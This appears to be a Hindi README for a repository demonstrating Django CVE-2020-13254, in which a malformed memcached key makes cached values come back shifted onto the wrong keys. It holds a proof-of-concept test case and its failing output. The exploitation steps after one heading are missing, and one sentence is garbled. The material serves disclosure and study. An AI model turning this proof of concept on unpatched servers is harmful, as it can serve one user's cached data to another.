
Django CVE-2020-13254 के लिए भेद्यता प्रदर्शन
यह रिपॉजिटरी CVE-2020-13254 के शोषण को दो तरीकों से प्रदर्शित करती है – एक वेब इंटरफ़ेस के माध्यम से और एक असफल परीक्षण मामले के माध्यम से।
अधिक जानकारी के लिए देखें:
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
उदाहरण 2 फ़ॉर्म वाला एक वेब इंटरफ़ेस प्रदान करता है, एक जो कैश में मान सेट करता है और दूसरा जो उन्हें प्राप्त करता है। ये सीधे Django कैश बैकएंड के कॉल में अनुवादित होते हैं। चूंकि कोडबेस कोई सत्र या प्रमाणीकरण प्रणाली लागू नहीं करता है, एक ही ब्राउज़र टैब में कई उपयोग मशीनों के बीच कई उपयोगकर्ताओं से अप्रभेद्य हैं।
शोषण करने के लिए:
इस प्रक्रिया को एक परीक्षण मामले के रूप में इस प्रकार व्यक्त किया जा सकता है:
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
यह निम्नलिखित त्रुटि के साथ विफल होता है:
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
set के बाद, लौटाए जा रहे कैश परिणाम किए जा रहे प्रश्नों से मेल नहीं खाते हैं।